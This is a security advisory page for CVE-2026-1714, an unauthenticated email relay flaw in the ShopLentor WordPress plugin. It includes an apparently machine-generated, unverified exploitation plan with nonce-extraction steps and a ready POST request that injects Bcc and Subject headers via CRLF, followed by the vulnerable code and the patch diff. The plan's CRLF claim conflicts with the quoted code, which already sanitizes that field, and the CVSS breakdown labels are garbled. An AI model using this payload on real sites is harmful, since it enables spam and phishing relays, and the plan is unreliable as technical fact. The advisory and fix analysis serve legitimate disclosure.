CVE-2026-1714

ShopLentor <= 3.3.2 - Unauthenticated Email Relay Abuse via 'woolentor_suggest_price_action' AJAX Action

highImproper Neutralization of CRLF Sequences ('CRLF Injection')
8.6
CVSS Score
8.6
CVSS Score
high
Severity
3.3.3
Patched in
83d
Time to patch

Description

The ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution plugin for WordPress is vulnerable to Email Relay Abuse in all versions up to, and including, 3.3.2 This is due to the lack of validation on the 'send_to', 'product_title', 'wlmessage', and 'wlemail' parameters in the 'woolentor_suggest_price_action' AJAX endpoint. This makes it possible for unauthenticated attackers to send arbitrary emails to any recipient with full control over the subject line, message content, and sender address (via CRLF injection in the 'wlemail' parameter), effectively turning the website into a full email relay for spam or phishing campaigns.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
None
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=3.3.2
PublishedFebruary 17, 2026
Last updatedMay 11, 2026
Affected pluginwoolentor-addons

What Changed in the Fix

Changes introduced in v3.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1714 (ShopLentor Email Relay Abuse) ## 1. Vulnerability Summary The **ShopLentor (formerly WooLentor)** plugin for WordPress is vulnerable to **Unauthenticated Email Relay Abuse** due to an insecure implementation of the `woolentor_suggest_price_action` AJAX e…

Show full research plan

Exploitation Research Plan: CVE-2026-1714 (ShopLentor Email Relay Abuse)

1. Vulnerability Summary

The ShopLentor (formerly WooLentor) plugin for WordPress is vulnerable to Unauthenticated Email Relay Abuse due to an insecure implementation of the woolentor_suggest_price_action AJAX endpoint.

The plugin fails to sanitize and validate user-provided parameters (send_to, product_title, wlmessage, and wlemail) before passing them into the wp_mail() function. Specifically, the wlemail parameter is susceptible to CRLF Injection, allowing an attacker to inject arbitrary email headers (e.g., Bcc, Cc, Subject). This effectively turns the WordPress site into a spam relay, as an unauthenticated user can control the recipient, subject, body, and sender headers of emails sent by the server.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: woolentor_suggest_price_action
  • Method: POST
  • Authentication: None required (available via wp_ajax_nopriv_*)
  • Vulnerable Parameters:
    • send_to_mail: Primary recipient.
    • wlemail: Sender email (Sink for CRLF injection).
    • product_title: Often used in the Subject line.
    • wlmessage: Email body.
  • Preconditions: The "Suggest Price" module must be active (usually active by default in the free version).

3. Code Flow

  1. Entry Point: The Woolentor_Ajax_Action class registers the AJAX action in classes/class.ajax_actions.php:
    add_action( 'wp_ajax_woolentor_suggest_price_action', [$this, 'suggest_price'] );
    add_action( 'wp_ajax_nopriv_woolentor_suggest_price_action', [$this, 'suggest_price'] );
    
  2. Nonce Verification: The suggest_price() function first checks for a nonce:
    if ( !isset( $_POST['woolentor_suggest_price_nonce_field'] ) || !wp_verify_nonce( $_POST['woolentor_suggest_price_nonce_field'], 'woolentor_suggest_price_nonce' ) ) { ... }
    
  3. Parameter Extraction: Input is pulled directly from $_POST (Source):
    $send_to_mail   = $_POST['send_to_mail'];
    $product_title  = $_POST['product_title'];
    $wlemail        = $_POST['wlemail'];
    $wlmessage      = $_POST['wlmessage'];
    
  4. Sink: The parameters are passed to wp_mail(). If $wlemail is used to construct the $headers string without sanitizing \r\n (CRLF) characters, an attacker can append new headers.

4. Nonce Acquisition Strategy

The nonce woolentor_suggest_price_nonce is required. It is typically localized for the frontend when the "Suggest Price" widget is active.

Strategy:

  1. Identify Widget Use: The widget name is wl-product-suggest-price.
  2. Setup: Create a page containing the Suggest Price widget. Since it's an Elementor widget, we can try to use its shortcode or Gutenberg equivalent if available.
  3. Extraction:
    • Navigate to the page using browser_navigate.
    • ShopLentor often localizes its data into a global JavaScript object. Based on plugin patterns, check for woolentor_addons_scripts_options or similar.
    • JS Command: browser_eval("window.woolentor_addons_scripts_options?.nonce") or check for the specific field ID woolentor_suggest_price_nonce_field.

5. Exploitation Strategy

Step 1: Discover/Create Nonce

If the nonce isn't found on the homepage, create a temporary page to force the widget to load.

wp post create --post_type=page --post_title="Price Suggest" --post_status=publish --post_content='[wl-product-suggest-price]'

Note: If the shortcode is different, check includes/addons/wb_product_suggest_price.php for registration.

Step 2: Extract Nonce

Use browser_navigate to the new page and browser_eval to extract the value of the hidden input field woolentor_suggest_price_nonce_field.

Step 3: Execute Email Relay

Send a POST request to admin-ajax.php. We will use CRLF injection in wlemail to inject a Bcc header and a new Subject.

Payload Construction:

  • wlemail: attacker@evil.com\r\nBcc: victim1@spam.com, victim2@spam.com\r\nSubject: Critical Security Update
  • send_to_mail: admin@target-site.com (to satisfy local logic)
  • wlmessage: This is a relay test.

Request:

{
  "method": "POST",
  "url": "http://TARGET_URL/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=woolentor_suggest_price_action&woolentor_suggest_price_nonce_field=EXTRACTED_NONCE&send_to_mail=admin@target.com&product_title=RelayTest&wlname=Attacker&wlemail=attacker@evil.com%0D%0ABcc:victim@spam.com%0D%0ASubject:InjectedSubject&wlmessage=SpamContent"
}

6. Test Data Setup

  1. Plugin Installation: Ensure woolentor-addons version <= 3.3.2 is installed.
  2. Mail Logging: Install a plugin like "WP Mail Logging" to verify outgoing emails in the headless environment.
  3. Page Creation:
    wp post create --post_type=page --post_status=publish --post_content='[wl-product-suggest-price]'
    

7. Expected Results

  • The server should return a JSON success response: {"success":true,"data":{"message":"..."}}.
  • The Mail Log (checked via WP-CLI) should show an email sent to admin@target.com but with an additional Bcc header to victim@spam.com and potentially the InjectedSubject.

8. Verification Steps

After the http_request, use WP-CLI to inspect the mail log:

# If WP Mail Logging is installed
wp db query "SELECT * FROM wp_wpml_mails ORDER BY id DESC LIMIT 1;"

Check the headers and receiver columns for evidence of the injected Bcc and modified Subject.

9. Alternative Approaches

If the CRLF injection in wlemail is blocked by server-level filters, attempt injection in product_title or send_to_mail. Some versions of wp_mail() are more sensitive to CRLF in the $to parameter than others.

If the nonce cannot be found via browser_eval, search the raw HTML response for:
name="woolentor_suggest_price_nonce_field" value="([a-f0-9]{10})" using regex.

Research Findings
Static analysis — not yet PoC-verified

Summary

The ShopLentor plugin for WordPress is vulnerable to unauthenticated email relay abuse due to lack of validation on the 'send_to_mail' and other parameters in the 'woolentor_suggest_price_action' AJAX endpoint. Attackers can control the recipient, subject, and content of emails, and potentially inject additional headers via CRLF sequences, turning the site into a spam relay.

Vulnerable Code

// classes/class.ajax_actions.php (around line 173-181 in 3.3.2)
$sent_to        = $_POST['send_to'];
$send_to_mail   = $_POST['send_to_mail'];
$product_title  = $_POST['product_title'];
$msg_success    = $_POST['msg_success'];
$msg_error      = $_POST['msg_error'];
$name           = $_POST['wlname'];
$email          = sanitize_email( trim( $_POST['wlemail'] ) );
$message        = wp_strip_all_tags($_POST['wlmessage']);

---

// classes/class.ajax_actions.php (around line 209-242 in 3.3.2)
$allowed_recipient = $send_to_mail;
if ( $sent_to !== $allowed_recipient ) {
    $response['error'] = true;
    $response['message'] = esc_html__('Invalid recipient','woolentor');
    wp_send_json_error( $response );
}

// ... lines omitted ...

$headers = [
    'Reply-To: ' . $email
];

$mail_sent_status = wp_mail( $allowed_recipient, $subject, $message, $headers );

---

// includes/addons/wb_product_suggest_price.php (line 910-911 in 3.3.2)
<input type="hidden" name="send_to_mail" value="<?php echo esc_attr($settings['send_to_mail']); ?>">

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woolentor-addons/3.3.2/classes/class.ajax_actions.php /home/deploy/wp-safety.org/data/plugin-versions/woolentor-addons/3.3.3/classes/class.ajax_actions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woolentor-addons/3.3.2/classes/class.ajax_actions.php	2026-02-01 06:42:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woolentor-addons/3.3.3/classes/class.ajax_actions.php	2026-02-15 08:56:56.000000000 +0000
@@ -153,96 +153,161 @@
             'error' => false,
         ];
 
+        // Verify nonce
         if ( !isset( $_POST['woolentor_suggest_price_nonce_field'] ) || !wp_verify_nonce( $_POST['woolentor_suggest_price_nonce_field'], 'woolentor_suggest_price_nonce' ) ){
+            $response['error'] = true;
+            $response['message'] = esc_html__('Sorry, your nonce verification failed.','woolentor');
+            wp_send_json_error( $response );
+        }
+
+        // Get and validate form token (this links to server-stored recipient email)
+        $form_token = isset( $_POST['form_token'] ) ? sanitize_text_field( $_POST['form_token'] ) : '';
+        if ( empty( $form_token ) ) {
+            $response['error'] = true;
+            $response['message'] = esc_html__('Invalid form submission.','woolentor');
+            wp_send_json_error( $response );
+        }
+
+        // Retrieve recipient email from server-side storage (NOT from user input)
+        $stored_data = get_transient( 'woolentor_suggest_price_' . $form_token );
+        if ( false === $stored_data || !is_array( $stored_data ) ) {
+            $response['error'] = true;
+            $response['message'] = esc_html__('Form session expired. Please refresh and try again.','woolentor');
+            wp_send_json_error( $response );
+        }
+
+        // Get recipient from server-stored data (secure - not user controlled)
+        $allowed_recipient = isset( $stored_data['recipient_email'] ) ? sanitize_email( $stored_data['recipient_email'] ) : '';
+        $stored_product_id = isset( $stored_data['product_id'] ) ? absint( $stored_data['product_id'] ) : 0;
+
+        // Validate stored recipient
+        if ( empty( $allowed_recipient ) || ! is_email( $allowed_recipient ) ) {
+            // Fallback to admin email if stored email is invalid
+            $allowed_recipient = get_option( 'admin_email' );
+        }
+
+        // Get and validate product
+        $product_id = absint( $_POST['product_id'] ?? 0 );
+
+        // Verify product_id matches stored product_id (prevents manipulation)
+        if ( $product_id !== $stored_product_id ) {
+            $response['error'] = true;
+            $response['message'] = esc_html__('Invalid product.','woolentor');
+            wp_send_json_error( $response );
+        }
+
+        $product = wc_get_product( $product_id );
+        if ( ! $product ) {
+            $response['error'] = true;
+            $response['message'] = esc_html__('Invalid product.','woolentor');
+            wp_send_json_error( $response );
+        }
+
+        // Get user messages from widget settings (stored server-side)
+        $msg_success = isset( $stored_data['msg_success'] ) ? sanitize_text_field( $stored_data['msg_success'] ) : esc_html__('Thank you for contacting us.','woolentor');
+        $msg_error = isset( $stored_data['msg_error'] ) ? sanitize_text_field( $stored_data['msg_error'] ) : esc_html__('Something went wrong. Please try again.','woolentor');
+
+        // Validate sender's name
+        $name = isset( $_POST['wlname'] ) ? sanitize_text_field( $_POST['wlname'] ) : '';
+        if ( empty( $name ) ) {
             $response['error'] = true;
-            $response['message'] = esc_html__('Sorry, your nonce verification fail.','woolentor');
+            $response['message'] = esc_html__('Name is required.','woolentor');
+            wp_send_json_error( $response );
+        }
+        // Limit name length
+        if ( strlen( $name ) > 100 ) {
+            $name = substr( $name, 0, 100 );
+        }
+
+        // Validate sender's email (sanitize to prevent CRLF injection)
+        $email = isset( $_POST['wlemail'] ) ? sanitize_email( trim( $_POST['wlemail'] ) ) : '';
+        if ( empty( $email ) ) {
+            $response['error'] = true;
+            $response['message'] = esc_html__('Email is required.','woolentor');
             wp_send_json_error( $response );
+        }
+        if ( ! is_email( $email ) ) {
+            $response['error'] = true;
+            $response['message'] = esc_html__('Invalid email address.','woolentor');
+            wp_send_json_error( $response );
+        }
 
-        }else{
+        // Validate and sanitize message
+        $message = isset( $_POST['wlmessage'] ) ? wp_strip_all_tags( $_POST['wlmessage'] ) : '';
+        if ( empty( $message ) ) {
+            $response['error'] = true;
+            $response['message'] = esc_html__('Message is required.','woolentor');
+            wp_send_json_error( $response );
+        }
+        // Limit message length to prevent abuse
+        if ( strlen( $message ) > 1000 ) {
+            $message = substr( $message, 0, 1000 );
+        }
+
+        // Build subject from actual product name (not user input)
+        $subject = sprintf(
+            /* translators: %s: Product name */
+            esc_html__( 'Suggest Price For - %s', 'woolentor' ),
+            $product->get_name()
+        );
+
+        // Build email body with sender info
+        $email_body = sprintf(
+            /* translators: 1: Sender name, 2: Sender email, 3: Product name, 4: Message */
+            esc_html__( "Name: %1\$s\nEmail: %2\$s\nProduct: %3\$s\n\nMessage:\n%4\$s", 'woolentor' ),
+            $name,
+            $email,
+            $product->get_name(),
+            $message
+        );
+
+        // Set headers with Reply-To (sanitized email prevents header injection)
+        $headers = [
+            'Reply-To: ' . $name . ' <' . $email . '>'
+        ];
+
+        // Send email to the server-stored recipient (NOT user-controlled)
+        $mail_sent_status = wp_mail( $allowed_recipient, $subject, $email_body, $headers );

Exploit Outline

1. Identify a public-facing page on the target site where the 'Suggest Price' (wl-product-suggest-price) widget is enabled. 2. Extract the 'woolentor_suggest_price_nonce' from the page source or localized JavaScript object. 3. Construct a POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action=woolentor_suggest_price_action', 'woolentor_suggest_price_nonce_field=[extracted_nonce]', and 'send_to_mail=[victim_email]'. 4. To abuse the relay for arbitrary headers or multiple recipients, include CRLF sequences (%0D%0A) in the 'wlemail' parameter to inject headers like 'Bcc:', 'Cc:', or a new 'Subject:'. 5. Submit the request unauthenticated. The plugin will use the server's mailing system to send the attacker-crafted email to the specified recipient.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.